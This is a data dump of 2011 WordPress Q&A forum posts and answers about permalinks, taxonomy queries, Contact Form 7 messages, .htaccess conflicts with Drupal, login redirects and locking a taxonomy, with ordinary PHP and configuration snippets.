  <row Id="14330" PostTypeId="1" AcceptedAnswerId="14333" CreationDate="2011-04-09T00:16:38.520" Score="0" ViewCount="169" Body="&lt;p&gt;Using WP 3.1.1 as a CMS, using the &lt;a href=&quot;http://www.site5.com/wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;Boldy&lt;/a&gt; theme.&lt;br&gt;&#xA;Home page is at &lt;a href=&quot;http://www.dekho.com.au&quot; rel=&quot;nofollow&quot;&gt;http://www.dekho.com.au&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantage of using this theme, is that it comes setup with a homepage that has a gallery slider and some homeboxes at the bottom.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get to the blog, I had to dump all my posts into a category called blog.&lt;br&gt;&#xA;- The themes docco advises to do this]&lt;a href=&quot;http://www.dekho.com.au/category/blog/&quot; rel=&quot;nofollow&quot;&gt;3&lt;/a&gt;.&lt;br&gt;&#xA;I can then link to this blog category from the top menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This then passes me to this URL:&#xA;&lt;a href=&quot;http://www.dekho.com.au/category/blog/&quot; rel=&quot;nofollow&quot;&gt;http://www.dekho.com.au/?category_name=blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I want to know how to retain the home page provided by Boldy, but have the blog on a separate page with the following URL:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;dekho.com.au/blog&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="4280" LastEditorDisplayName="" LastEditDate="2011-04-11T09:22:12.270" LastActivityDate="2011-04-11T09:22:12.270" Title="Change URL for Blog?" Tags="&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="14331" PostTypeId="1" CreationDate="2011-04-09T00:38:03.860" Score="1" ViewCount="1304" Body="&lt;p&gt;I have 2 custom post types 'bookmarks' and 'snippets' and a shared taxonomy 'tag'. I can generate a list of all terms in the taxonomy with get_terms(), but I can't figure out how to limit the list to the post type. What I'm basically looking for is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_terms(array('taxonomy' =&amp;gt; 'tag', 'post_type' =&amp;gt; 'snippet'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to achieve this? Ideas are greatly appreciated!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, I'm on WP 3.1.1&lt;/p&gt;&#xA;" OwnerUserId="4495" LastActivityDate="2011-07-26T08:40:10.660" Title="Get terms by taxonomy AND post_type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="4" FavoriteCount="4" />
  <row Id="14332" PostTypeId="1" AcceptedAnswerId="14336" CreationDate="2011-04-09T00:57:44.117" Score="0" ViewCount="112" Body="&lt;p&gt;I am running Contact 7 form, and looks good for my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;a href=&quot;http://www.dekho.com.au/?page_id=727&quot; rel=&quot;nofollow&quot;&gt;added it to Wordpress&lt;/a&gt;, for people to suggest ideas for our product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When users send an idea, they are given a message to say thanks.&lt;br&gt;&#xA;This message is configurable via the settings for the form in wp-admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/UUu53.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I could get Mr Burns to appear once they have successfully sent an idea?&#xA;i.e. Make a picture visible, and ideally place the picture to the side of the contact form.&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-04-09T02:52:10.820" LastActivityDate="2011-04-09T02:52:10.820" Title="Contact Form 7 - Show image on successful send?" Tags="&lt;plugins&gt;&lt;contact-form-7&gt;" AnswerCount="1" />
  <row Id="14333" PostTypeId="2" ParentId="14330" CreationDate="2011-04-09T01:05:28.343" Score="2" ViewCount="" Body="&lt;p&gt;First, you need to change your Front Page settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a &lt;em&gt;Static Page&lt;/em&gt;, called &quot;Blog&quot; (and a slug of &quot;blog&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create another &lt;em&gt;Static Page&lt;/em&gt;, to serve as your site Front Page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Go to Dashboard -&gt; Settings -&gt; Reading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Change &quot;Front Page Displays&quot; from &quot;Your latest posts&quot; to &quot;A static Page (select below)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) In the &quot;Front Page&quot; dropdown, select the Static Page that you created to serve as your site Front Page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) In the &quot;Posts Page&quot; dropdown, select the Static Page &quot;Blog&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you need to fix your permalinks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Go to Dashboard -&gt; Settings -&gt; Permalinks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Select one of the default options (&quot;Month and Name&quot; is usually good)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Save settings, to write the rewrite rules to .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now dekho.com.au/blog should be displaying your blog posts index&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-09T01:05:28.343" CommentCount="19" />
  <row Id="14334" PostTypeId="2" ParentId="14331" CreationDate="2011-04-09T01:21:43.663" Score="3" ViewCount="" Body="&lt;p&gt;So it just happens that i needed something like that for a project I'm working on, I simply wrote a query to select all posts of a custom type then i check what are the actual terms of my taxonomy they are using, then i got all terms of that taxonomy using &lt;code&gt;get_terms()&lt;/code&gt; and then i only used those that were in both of the lists , wrapped it up in a function and  i was done. But then i needed more then just the ID's i needed the names so i added my self a new argument named &lt;code&gt;$fields&lt;/code&gt; so i could tell the function what to return and then i figured that get_terms accepts many arguments and my function was limited to simply terms that are being used by a post type so i added one more if statement and there you go:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Function:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* get terms limited to post type &#xA; @ $taxonomies - (string|array) (required) The taxonomies to retrieve terms from. &#xA; @ $args  -  (string|array) all Possible Arguments of get_terms http://codex.wordpress.org/Function_Reference/get_terms&#xA; @ $post_type - (string|array) of post types to limit the terms to&#xA; @ $fields - (string) What to return (default all) accepts ID,name,all,get_terms. &#xA; if you want to use get_terms arguments then $fields must be set to 'get_terms'&#xA;*/&#xA;function get_terms_by_post_type($taxonomies,$args,$post_type,$fields = 'all'){&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; (array)$post_type,&#xA;        'posts_per_page' =&amp;gt; -1&#xA;    );&#xA;    $the_query = new WP_Query( $args );&#xA;    $terms = array();&#xA;    while ($the_query-&amp;gt;have_posts()){&#xA;        $the_query-&amp;gt;the_post();&#xA;        $curent_terms = wp_get_object_terms( $post-&amp;gt;ID, $taxonomy);&#xA;        foreach ($curent_terms as $t){&#xA;          //avoid duplicates&#xA;            if (!in_array($t,$terms)){&#xA;                $terms[] = $c;&#xA;            }&#xA;        }&#xA;    }&#xA;    wp_reset_query();&#xA;    //return array of term objects&#xA;    if ($fields == &quot;all&quot;)&#xA;        return $terms;&#xA;    //return array of term ID's&#xA;    if ($fields == &quot;ID&quot;){&#xA;        foreach ($terms as $t){&#xA;            $re[] = $t-&amp;gt;term_id;&#xA;        }&#xA;        return $re;&#xA;    }&#xA;    //return array of term names&#xA;    if ($fields == &quot;name&quot;){&#xA;        foreach ($terms as $t){&#xA;            $re[] = $t-&amp;gt;name;&#xA;        }&#xA;        return $re;&#xA;    }&#xA;    // get terms with get_terms arguments&#xA;    if ($fields == &quot;get_terms&quot;){&#xA;        $terms2 = get_terms( $taxonomies, $args );&#xA;        foreach ($terms as $t){&#xA;            if (in_array($t,$terms2)){&#xA;                $re[] = $t;&#xA;            }&#xA;        }&#xA;        return $re;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you only need a list of term id's then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms_by_post_type('tag','','snippet','ID');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only need a list of term names then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms_by_post_type('tag','','snippet','name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only need a list of term objects then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms_by_post_type('tag','','snippet');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you need to use extra arguments of get_terms like: orderby, order, hierarchical ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('orderby' =&amp;gt; 'count', 'order' =&amp;gt; 'DESC',  'hide_empty' =&amp;gt; 1);&#xA;$terms = get_terms_by_post_type('tag',$args,'snippet','get_terms');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the term count to specific post type change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($current_terms as $t){&#xA;          //avoid duplicates&#xA;            if (!in_array($t,$terms)){&#xA;                $terms[] = $t;&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($current_terms as $t){&#xA;    //avoid duplicates&#xA;    if (!in_array($t,$terms)){&#xA;        $t-&amp;gt;count = 1;&#xA;        $terms[] = $t;&#xA;    }else{&#xA;        $key = array_search($t, $terms);&#xA;        $terms[$key]-&amp;gt;count = $terms[$key]-&amp;gt;count + 1;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-09T14:24:54.313" LastActivityDate="2011-04-09T14:24:54.313" CommentCount="4" />
  <row Id="14335" PostTypeId="2" ParentId="14310" CreationDate="2011-04-09T01:35:10.980" Score="2" ViewCount="" Body="&lt;p&gt;I would suggest you take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-dummy-content/&quot; rel=&quot;nofollow&quot;&gt;WP Dummy Content&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily extend this plugin or build a script to activate and run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested by @kaiser I would really record all the performance data I can to get in insights into this scale of operations.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-04-09T01:35:10.980" />
  <row Id="14336" PostTypeId="2" ParentId="14332" CreationDate="2011-04-09T01:39:37.563" Score="1" ViewCount="" Body="&lt;p&gt;You can customize the &quot;Your message was sent successfully. Thanks.&quot; message with-in the the form's edit page at the bottom&#xA;&lt;img src=&quot;http://i.stack.imgur.com/NaQPE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so add something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your message was sent successfully. Thanks.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;http://pages.sbcglobal.net/bluealbino/SYP/images/mrburns-oh.gif&quot;&amp;gt;&amp;lt;img width=&quot;234&quot; height=&quot;369&quot; alt=&quot;&quot; src=&quot;http://pages.sbcglobal.net/bluealbino/SYP/images/mrburns-oh.gif&quot; class=&quot;alignnone&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Just tried and it works with this exact code.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-09T01:39:37.563" />
  <row Id="14337" PostTypeId="1" CreationDate="2011-04-09T03:47:31.347" Score="0" ViewCount="154" Body="&lt;p&gt;I want to convert my site from Drupal to WordPress. I installed WordPress in a subdirectory so I can tweak it until I'm ready to delete drupal and move it to the root folder. After installing I cannot access the WP index in the subdirectory. I get this in firefox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The page isn't redirecting properly              &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox has detected that the server is redirecting the request for this address in a way that will never complete.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*   This problem can sometimes be caused by disabling or refusing to accept&#xA;      cookies.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have cleared my browser and still get the same error. It must have some conflict with drupal. The drupal part of the site is still working ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to load my WP admin login url in the subdirectory it loads ok, but as soon as I submit my username and password, it redirects me to the login again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues? Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &#xA;I contacted my host and the problem was WP was not creating an .htaccess file when installing to a subdirectory. I tried installing WP a few times and it would never create an .htaccess file within the subdirectory. I'm using hostgator. I don't know if it was because there already was an .htaccess in root (from drupal) or something to do with my host. &lt;/p&gt;&#xA;" OwnerUserId="4335" LastEditorUserId="4335" LastEditorDisplayName="" LastEditDate="2011-04-09T18:09:09.073" LastActivityDate="2011-04-09T18:09:09.073" Title="Cannot access WordPress install on subdirectory of drupal site" Tags="&lt;installation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14338" PostTypeId="2" ParentId="14337" CreationDate="2011-04-09T04:15:29.250" Score="1" ViewCount="" Body="&lt;p&gt;It sounds like your .htaccess file isn't configured correctly. Your root level htaccess file will take priority over the one in the WordPress folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try telling Drupal to ignore your subfolder by adding this to the rewrite statement at toward the bottom (of the default Drupal .htaccess file), after the line that says &quot;ReWrite Engine On&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^blog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &quot;blog&quot; is the subfolder that you've installed WordPress to.&lt;/p&gt;&#xA;" OwnerUserId="3488" LastActivityDate="2011-04-09T04:15:29.250" CommentCount="1" />
  <row Id="14339" PostTypeId="2" ParentId="14198" CreationDate="2011-04-09T04:36:37.787" Score="0" ViewCount="" Body="&lt;p&gt;Will do. It's just a bit more complicated, but here it goes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * WP Practica&#xA; * Home Page Template&#xA; */&#xA;&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;?php $options = get_option( 'practica_theme_settings' ); ?&amp;gt;&#xA;&amp;lt;div id=&quot;main&quot;&amp;gt; &amp;lt;!-- start div#main --&amp;gt;&#xA;&#xA;    &amp;lt;!-- Optional 3D style --&amp;gt;&amp;lt;div class=&quot;dimWrap_content&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot; &amp;gt; &amp;lt;!-- start div#content --&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;            global $wp_query;&#xA;&#xA;            // First row of images&#xA;            if(!empty($options['home_thumbs'])) {&#xA;                $page_items = $options['home_thumbs'];&#xA;            } else {&#xA;                $page_items = 18;&#xA;            }&#xA;&#xA;            $portCat = get_category_id($options['portfoliocat']);&#xA;&#xA;            // get the desired sort order of portfolio items&#xA;            if($options['homepage_sort'] == 'DESC') { $order = 'DESC'; } else { $order = 'ASC'; }&#xA;&#xA;            $hideFromHome = get_post_meta($wp_query-&amp;gt;post-&amp;gt;ID, 'pr_hidehome', true);&#xA;&#xA;            query_posts('posts_per_page=-1&amp;amp;orderby=title&amp;amp;order=' . $order . '&amp;amp;cat=' . $portCat . '&amp;amp;meta_key=' . $hideFromHome .'&amp;amp;meta_value=' . true);&#xA;            // arrays to detect first and last columns&#xA;            $firsts = array(6,12,18,24,30,36);&#xA;            $lasts = array(5,11,17,23,29,35);&#xA;&#xA;            if ( $options['nothumb_content'] == true ) { ?&amp;gt;&#xA;            &amp;lt;div id=&quot;page-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php } else {&#xA;            if (have_posts()) :&#xA;                $count = 0;&#xA;                echo '&amp;lt;ul class=&quot;imageRows rowOne&quot;&amp;gt;';&#xA;                while (have_posts()) : the_post();&#xA;                $custom_meta = get_post_custom($post-&amp;gt;ID);&#xA;&#xA;                    if (has_post_thumbnail() &amp;amp;&amp;amp; $custom_meta['pr_hidehome'][0] != true) { ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;&amp;lt;?php if (in_array($count, $firsts) ) { echo ' columnFirst'; } if (in_array($count, $lasts) ) { echo ' columnLast'; } ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php if ($custom_meta['pr_openpretty_home'][0] != true) { ?&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php&#xA;                                    $atts = array(&#xA;                                        'class' =&amp;gt; &quot;attachment-$size imageBlock&quot;,&#xA;                                        'alt'   =&amp;gt; get_the_title(),&#xA;                                    );&#xA;                                    the_post_thumbnail('portfolioSmall', $atts); &#xA;&#xA;                                ?&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;?php } else {&#xA;                            if ($custom_meta['pr_openpretty_video'][0] == 'Your URL' || $custom_meta['pr_openpretty_video'][0] == '') { ?&amp;gt;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php $image_id = get_post_thumbnail_id();&#xA;                                        $image_url = wp_get_attachment_image_src($image_id,’large’, true);&#xA;                                        echo $image_url[0]; ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; rel=&quot;prettyPhoto&amp;lt;?php &#xA;                                        if(!empty($custom_meta['pr_openpretty_slideshow'][0])) { &#xA;                                            echo '[';&#xA;                                            echo $custom_meta['pr_openpretty_slideshow'][0];&#xA;                                            echo ']';&#xA;                                        } ?&amp;gt;&quot;&amp;gt;&#xA;                                    &amp;lt;?php&#xA;                                        $atts = array(&#xA;                                            'class' =&amp;gt; &quot;attachment-$size imageBlock&quot;,&#xA;                                            'alt'   =&amp;gt; get_the_title(),&#xA;                                        );&#xA;                                        the_post_thumbnail('portfolioSmall', $atts); &#xA;&#xA;                                    ?&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                                &amp;lt;?php } else { ?&amp;gt;&#xA;                                &amp;lt;a class=&quot;videoBlock&quot; href=&quot;&amp;lt;?php echo $custom_meta['pr_openpretty_video'][0]; ?&amp;gt;?width=100%&amp;amp;height=100%&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; rel=&quot;prettyPhoto&amp;lt;?php &#xA;                                        if(!empty($custom_meta['pr_openpretty_slideshow'][0])) { &#xA;                                            echo '[';&#xA;                                            echo $custom_meta['pr_openpretty_slideshow'][0];&#xA;                                            echo ']';&#xA;                                        } ?&amp;gt;&quot;&amp;gt;&#xA;                                    &amp;lt;?php&#xA;                                        $atts = array(&#xA;                                            'class' =&amp;gt; &quot;attachment-$size imageBlock&quot;,&#xA;                                            'alt'   =&amp;gt; get_the_title(),&#xA;                                        );&#xA;                                        the_post_thumbnail('portfolioSmall', $atts); &#xA;&#xA;                                    ?&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                                &amp;lt;?php } ?&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                        &amp;lt;/li&amp;gt;                   &#xA;                        &amp;lt;?php&#xA;                        $count++;&#xA;                        if($count == $page_items) { break; }&#xA;                    }&#xA;                endwhile; &#xA;                echo '&amp;lt;/ul&amp;gt; &amp;lt;!-- First row --&amp;gt;';&#xA;                else :          &#xA;                echo '&amp;lt;h3&amp;gt;Oops, something went wrong.&amp;lt;/h3&amp;gt;';&#xA;&#xA;             endif;&#xA;            }&#xA;        ?&amp;gt;                                              &#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- end div#content --&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4513" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-09T11:07:55.810" LastActivityDate="2011-04-09T11:07:55.810" />
  <row Id="14340" PostTypeId="2" ParentId="324" CreationDate="2011-04-09T04:56:03.027" Score="0" ViewCount="" Body="&lt;p&gt;I'm surprised no one has mentioned BBEdit yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made the switch from Windows to OS X a year or so ago and the one thing that I couldn't find was an editor that just felt right. I finally settled on BBEdit and have not looked back. There are so many layers of functionality within it, which I am enjoying discovering.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2011-04-09T04:56:03.027" CommunityOwnedDate="2011-04-09T04:56:03.027" />
  <row Id="14341" PostTypeId="1" CreationDate="2011-04-06T16:17:07.867" Score="3" ViewCount="159" Body="&lt;p&gt;I've read &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Category_Templates&lt;/a&gt;, which tells you how to change your index.php for each category. But I want to load a whole different theme directory in for my site when a particular category is viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, if I go to:&#xA;&lt;a href=&quot;http://www.mysite.com/mycategory/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/mycategory/&lt;/a&gt;&#xA;It will load a separate theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" LastActivityDate="2011-04-11T00:14:41.060" Title="Separate Wordpress themes for each category page" Tags="&lt;php&gt;&lt;themes&gt;" AnswerCount="3" />
  <row Id="14342" PostTypeId="2" ParentId="14341" CreationDate="2011-04-06T17:47:34.980" Score="0" ViewCount="" Body="&lt;p&gt;Old plugin here that might still work:&#xA;&lt;a href=&quot;http://download.mikelopez.com/2006/10/17/wordpress-themed-categories-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://download.mikelopez.com/2006/10/17/wordpress-themed-categories-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-06T17:47:34.980" />
  <row Id="14343" PostTypeId="1" CreationDate="2011-04-09T06:13:00.310" Score="0" ViewCount="214" Body="&lt;p&gt;I have problematically generated a page with the title of the user. Now when that user logs in I want to redirect him to that page. /username/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mylogin_redirect($user) {&#xA;[Get the username ]&#xA;   return get_bloginfo('url') . &quot;/&quot; . username . &quot;/&quot;;&#xA;       } else {&#xA;   return [Back to the login page - which is a custom /login/&#xA;}&#xA;add_filter('login_redirect', 'mylogin_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have looked at a lot of examples for redirecting based on roles but have had no success at this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if I am going at this the correct way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Redirect user to their page&#xA;function mylogin_redirect() {&#xA;&#xA;    //Check to see if user is logged in&#xA;    if( is_user_logged_in() ) {&#xA;        get_currentuserinfo();&#xA;        $username = $userdata-&amp;gt;user_login;&#xA;        //Redirect&#xA;        wp_redirect( get_bloginfo('url') . &quot;/&quot; . $username . &quot;/&quot;); exit();&#xA;    } &#xA;    else {&#xA;        // Back to login&#xA;        wp_redirect($_SERVER['REQUEST_URI']); &#xA;        exit();&#xA;    }&#xA;}&#xA;add_filter('login_redirect', 'mylogin_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4418" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-10T09:59:30.140" LastActivityDate="2011-04-10T09:59:30.140" Title="Redirect user to created user page after login" Tags="&lt;users&gt;&lt;customization&gt;" CommentCount="6" />
  <row Id="14344" PostTypeId="1" AcceptedAnswerId="14350" CreationDate="2011-04-09T06:43:41.403" Score="3" ViewCount="123" Body="&lt;p&gt;I was wondering if there was a way to prevent the addition of new categories into a taxonomy, essentially 'locking' the taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm programatically registering a taxonomy and filling it with terms via functions.php and would like it so you cannot add anymore into it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Vision, REALIZED...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Heres how my solution ended up looking, and it works great! THANKS to everyone who helped. Upvotes all over the place up in your face!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// some stuff happens before this...&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'Attendees', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Attendee', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Attendees' ),&#xA;        'all_items' =&amp;gt; __( 'All Attendees' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Attendee' ), &#xA;        'update_item' =&amp;gt; __( 'Update Attendee' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Attendee' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Attendee Name' ),&#xA;        'menu_name' =&amp;gt; __( 'Attendees' )&#xA;    );&#xA;    $rewrite = array(&#xA;        'slug' =&amp;gt; 'attendee'&#xA;    );&#xA;    $capabilities = array(&#xA;        'manage_terms' =&amp;gt; 'nobody',&#xA;        'edit_terms' =&amp;gt; 'nobody',&#xA;        'delete_terms' =&amp;gt; 'nobody',&#xA;        'assign_terms' =&amp;gt; 'nobody'&#xA;    );&#xA;    $args = array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'labels' =&amp;gt; $labels,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; 'attendee',&#xA;        'rewrite' =&amp;gt; $rewrite,&#xA;        'capabilities' =&amp;gt; $capabilities&#xA;    );&#xA;    register_taxonomy('attendees', 'meetings', $args);&#xA;}&#xA;add_action( 'init', 'todo_create_taxonomies', 1);&#xA;function todo_register_attendees() {&#xA;    $users = get_users();&#xA;    foreach ( $users as $user ) {&#xA;        wp_insert_term( $user-&amp;gt;display_name, 'attendees', array('description'=&amp;gt; $user-&amp;gt;display_name, 'slug' =&amp;gt; $user-&amp;gt;user_nicename) );&#xA;        $lockdown[] = $user-&amp;gt;user_nicename;&#xA;    }&#xA;    $terms = get_terms('attendees', array('get' =&amp;gt; 'all') );&#xA;    foreach ($terms as $term) {&#xA;        if ( !in_array($term-&amp;gt;slug, $lockdown) ) {&#xA;            wp_delete_term( $term-&amp;gt;term_id, 'attendees' );&#xA;            $message = new WP_Error('force_terms', __('Only Registered Users can be Attendees, ' . $term-&amp;gt;name . ' has been deleted.'));&#xA;            if ( is_wp_error($message) ) { ?&amp;gt;&#xA;                &amp;lt;div id=&quot;aphid-error-&amp;lt;?php echo $message-&amp;gt;get_error_code(); ?&amp;gt;&quot; class=&quot;error aphid-error&quot;&amp;gt; &#xA;                    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $message-&amp;gt;get_error_message(); ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php }&#xA;        }&#xA;    }&#xA;}&#xA;add_action( 'admin_notices', 'todo_register_attendees' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4282" LastEditorUserId="4282" LastEditorDisplayName="" LastEditDate="2011-04-10T03:01:16.703" LastActivityDate="2011-04-10T09:32:02.707" Title="Is there a way to 'Lock' a Taxonomy?" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
